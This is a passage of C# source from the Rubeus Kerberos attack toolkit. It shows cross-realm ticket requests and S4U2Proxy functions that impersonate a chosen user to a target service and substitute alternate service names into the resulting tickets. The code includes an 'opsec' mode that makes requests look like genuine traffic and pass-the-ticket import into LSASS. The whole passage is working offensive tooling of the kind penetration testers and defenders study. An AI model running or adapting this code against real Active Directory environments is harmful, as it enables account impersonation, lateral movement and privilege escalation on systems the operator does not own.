if (ptt)
{
// pass-the-ticket -> import into LSASS
ImportTicket(kirbiBytes, createnetonly, show);
}
return(kirbi);
}
else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
return(null);
}
private static KRB_CRED CrossDomainKRBTGT(string userName, string domain, string domainController, string targetDomain, Ticket ticket, byte[] clientKey, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE requestEType)
{
// die if can't get IP of DC
string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP))
{
return(null);
}
Console.WriteLine("[*] Requesting the cross realm 'TGS' for {0} from {1}", targetDomain, domainController);
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, targetDomain, ticket, clientKey, etype, requestEType);
Console.WriteLine("[*] Sending cross realm TGS request");
byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
if (response == null)
{
return(null);
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 13)
{
Console.WriteLine("[+] cross realm TGS success!");
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
PrintTicket(kirbiBytes, "base64(ticket.kirbi)");
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
return(kirbi);
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
return(null);
}
private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null, bool opsec = false, string proxyUrl = null, string createnetonly = null, bool show = false)
{
Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
if (!String.IsNullOrEmpty(altService))
{
string[] altSnames = altService.Split(',');
if (altSnames.Length == 1)
{
Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService);
}
else
{
Console.WriteLine("[*] Final tickets will be for the alternate services '{0}'", altService);
}
}
// extract out the info needed for the TGS-REQ/S4U2Proxy execution
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
TGS_REQ s4u2proxyReq = new TGS_REQ(!opsec);
s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION;
s4u2proxyReq.req_body.realm = domain;
string[] parts = targetSPN.Split('/');
string serverName = parts[parts.Length - 1];
s4u2proxyReq.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST;
foreach (string part in parts)
{
s4u2proxyReq.req_body.sname.name_string.Add(part);
}
// supported encryption types
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
// add in the ticket from the S4U2self response
s4u2proxyReq.req_body.additional_tickets.Add(tgs.tickets[0]);
// needed for authenticator checksum
byte[] cksum_Bytes = null;
// the rest of the opsec changes
if (opsec)
{
// remove renewableok and add canonicalize
s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK;
s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;
// 15 minutes in the future like genuine requests
DateTime till = DateTime.Now;
till = till.AddMinutes(15);
s4u2proxyReq.req_body.till = till;
// extra etypes
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp);
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp);
// get hostname and hostname of SPN
string hostName = Dns.GetHostName().ToUpper();
string targetHostName;
if (parts.Length > 1)
{
targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper();
}
else
{
targetHostName = hostName;
}
// create enc-authorization-data if target host is not the local machine
if (hostName != targetHostName)
{
// authdata requires key and etype from tgs
byte[] tgsKey = tgs.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE tgsEtype = (Interop.KERB_ETYPE)tgs.enc_part.ticket_info[0].key.keytype;
ADIfRelevant ifrelevant = new ADIfRelevant();
ADRestrictionEntry restrictions = new ADRestrictionEntry();
ADKerbLocal kerbLocal = new ADKerbLocal();
ifrelevant.ADData.Add(restrictions);
ifrelevant.ADData.Add(kerbLocal);
AsnElt authDataSeq = ifrelevant.Encode();
authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq);
byte[] authorizationDataBytes = authDataSeq.Encode();
byte[] enc_authorization_data = Crypto.KerberosEncrypt(tgsEtype, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, tgsKey, authorizationDataBytes);
s4u2proxyReq.req_body.enc_authorization_data = new EncryptedData((Int32)tgsEtype, enc_authorization_data);
}
// encode req_body for authenticator cksum
AsnElt req_Body_ASN = s4u2proxyReq.req_body.Encode();
AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN });
req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq);
byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue();
cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5);
}
// moved to end so we can have the checksum in the authenticator
PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype, opsec, cksum_Bytes);
s4u2proxyReq.padata.Add(padata);
PA_DATA pac_options = new PA_DATA(false, false, false, true);
s4u2proxyReq.padata.Add(pac_options);
byte[] s4ubytes = s4u2proxyReq.Encode().Encode();
byte[] response2 = null;
if (String.IsNullOrEmpty(proxyUrl))
{
string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP))
{
return;
}
Console.WriteLine("[*] Sending S4U2proxy request to domain controller {0}:88", dcIP);
response2 = Networking.SendBytes(dcIP, 88, s4ubytes);
}
else
{
Console.WriteLine("[*] Sending S4U2proxy request via KDC proxy: {0}", proxyUrl);
KDC_PROXY_MESSAGE message = new KDC_PROXY_MESSAGE(s4ubytes);
message.target_domain = domain;
response2 = Networking.MakeProxyRequest(proxyUrl, message);
}
if (response2 == null)
{
return;
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response2, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
{
Console.WriteLine("[+] S4U2proxy success!");
// parse the response to an TGS-REP
TGS_REP rep2 = new TGS_REP(responseAsn);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
AsnElt ae2 = AsnElt.Decode(outBytes2, false);
EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]);
if (!String.IsNullOrEmpty(altService))
{
string[] altSnames = altService.Split(',');
foreach (string altSname in altSnames)
{
// now build the final KRB-CRED structure with one or more alternate snames
KRB_CRED cred = new KRB_CRED();
// since we want an alternate sname, first substitute it into the ticket structure
rep2.ticket.sname.name_string[0] = altSname;
// add the ticket
cred.tickets.Add(rep2.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart2.key.keytype;
info.key.keyvalue = encRepPart2.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart2.realm;
// [2] pname (user)
info.pname.name_type = rep2.cname.name_type;
info.pname.name_string = rep2.cname.name_string;
// [3] flags
info.flags = encRepPart2.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart2.starttime;
// [6] endtime
info.endtime = encRepPart2.endtime;
// [7] renew-till
info.renew_till = encRepPart2.renew_till;
// [8] srealm
info.srealm = encRepPart2.realm;
// [9] sname
info.sname.name_type = encRepPart2.sname.name_type;
info.sname.name_string = encRepPart2.sname.name_string;
// if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED
Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname);
info.sname.name_string[0] = altSname;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName);
if (Rubeus.Program.wrapTickets)
{
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else
{
Console.WriteLine(" {0}", kirbiString);
}
if (!String.IsNullOrEmpty(outfile))
{
string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}";
filename = Helpers.MakeValidFileName(filename);
if (Helpers.WriteBytesToFile(filename, kirbiBytes))
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
}
}
if (ptt)
{
// pass-the-ticket -> import into LSASS
ImportTicket(kirbiBytes, createnetonly, show);
}
}
}
else
{
// now build the final KRB-CRED structure, no alternate snames
KRB_CRED cred = new KRB_CRED();
// if we want an alternate sname, first substitute it into the ticket structure
if (!String.IsNullOrEmpty(altService))
{
rep2.ticket.sname.name_string[0] = altService;
}
// add the ticket
cred.tickets.Add(rep2.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart2.key.keytype;
info.key.keyvalue = encRepPart2.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart2.realm;
// [2] pname (user)
info.pname.name_type = rep2.cname.name_type;
info.pname.name_string = rep2.cname.name_string;
// [3] flags
info.flags = encRepPart2.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart2.starttime;
// [6] endtime
info.endtime = encRepPart2.endtime;
// [7] renew-till
info.renew_till = encRepPart2.renew_till;
// [8] srealm
info.srealm = encRepPart2.realm;
// [9] sname
info.sname.name_type = encRepPart2.sname.name_type;
info.sname.name_string = encRepPart2.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN);
if (Rubeus.Program.wrapTickets)
{
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else
{
Console.WriteLine(" {0}", kirbiString);
}
if (!String.IsNullOrEmpty(outfile))
{
string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}";
filename = Helpers.MakeValidFileName(filename);
if (Helpers.WriteBytesToFile(filename, kirbiBytes))
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
}
}
if (ptt)
{
// pass-the-ticket -> import into LSASS
ImportTicket(kirbiBytes, createnetonly, show);
}
}
}
else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
}
private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", Ticket tgs = null)
{
Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
if (!String.IsNullOrEmpty(altService))
{
string[] altSnames = altService.Split(',');
if (altSnames.Length == 1)
{
Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService);
}
else
{
Console.WriteLine("[*] Final tickets will be for the alternate services '{0}'", altService);
}
}
// extract out the info needed for the TGS-REQ/S4U2Proxy execution
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP))
{
return;
}
Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
TGS_REQ s4u2proxyReq = new TGS_REQ();
PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype);
s4u2proxyReq.padata.Add(padata);
PA_DATA pac_options = new PA_DATA(false, false, false, true);
s4u2proxyReq.padata.Add(pac_options);
s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT;
s4u2proxyReq.req_body.realm = domain;
string[] parts = targetSPN.Split('/');
string serverName = parts[parts.Length - 1];
s4u2proxyReq.req_body.sname.name_type = 2;
foreach (string part in parts)
{
s4u2proxyReq.req_body.sname.name_string.Add(part);
}
// supported encryption types
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
// add in the ticket from the S4U2self response
s4u2proxyReq.req_body.additional_tickets.Add(tgs);
byte[] s4ubytes = s4u2proxyReq.Encode().Encode();
Console.WriteLine("[*] Sending S4U2proxy request");
byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes);
if (response2 == null)
{
return;
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response2, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 13)
{
Console.WriteLine("[+] S4U2proxy success!");
// parse the response to an TGS-REP
TGS_REP rep2 = new TGS_REP(responseAsn);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
AsnElt ae2 = AsnElt.Decode(outBytes2, false);
EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]);
if (!String.IsNullOrEmpty(altService))
{
string[] altSnames = altService.Split(',');
foreach (string altSname in altSnames)
{
// now build the final KRB-CRED structure with one or more alternate snames
KRB_CRED cred = new KRB_CRED();
// since we want an alternate sname, first substitute it into the ticket structure
rep2.ticket.sname.name_string[0] = altSname;
// add the ticket
cred.tickets.Add(rep2.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart2.key.keytype;
info.key.keyvalue = encRepPart2.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart2.realm;
// [2] pname (user)
info.pname.name_type = rep2.cname.name_type;
info.pname.name_string = rep2.cname.name_string;
// [3] flags
info.flags = encRepPart2.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart2.starttime;
// [6] endtime
info.endtime = encRepPart2.endtime;
// [7] renew-till
info.renew_till = encRepPart2.renew_till;
// [8] srealm
info.srealm = encRepPart2.realm;
// [9] sname
info.sname.name_type = encRepPart2.sname.name_type;
info.sname.name_string = encRepPart2.sname.name_string;
// if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED
Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname);
info.sname.name_string[0] = altSname;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName);
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
if (!String.IsNullOrEmpty(outfile))
{
string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}";
filename = Helpers.MakeValidFileName(filename);
if (Helpers.WriteBytesToFile(filename, kirbiBytes))
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
}
}
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes, new Interop.LUID());
}
}
}
else
{
// now build the final KRB-CRED structure, no alternate snames
KRB_CRED cred = new KRB_CRED();
// if we want an alternate sname, first substitute it into the ticket structure
if (!String.IsNullOrEmpty(altService))
{
rep2.ticket.sname.name_string[0] = altService;
}
// add the ticket
cred.tickets.Add(rep2.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart2.key.keytype;
info.key.keyvalue = encRepPart2.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart2.realm;
// [2] pname (user)
info.pname.name_type = rep2.cname.name_type;
info.pname.name_string = rep2.cname.name_string;
// [3] flags
info.flags = encRepPart2.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart2.starttime;
// [6] endtime
info.endtime = encRepPart2.endtime;
// [7] renew-till
info.renew_till = encRepPart2.renew_till;
// [8] srealm
info.srealm = encRepPart2.realm;
// [9] sname
info.sname.name_type = encRepPart2.sname.name_type;
info.sname.name_string = encRepPart2.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN);
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
if (!String.IsNullOrEmpty(outfile))
{
string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}";
filename = Helpers.MakeValidFileName(filename);
if (Helpers.WriteBytesToFile(filename, kirbiBytes))
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
}
}
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes, new Interop.LUID());
}
}
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
}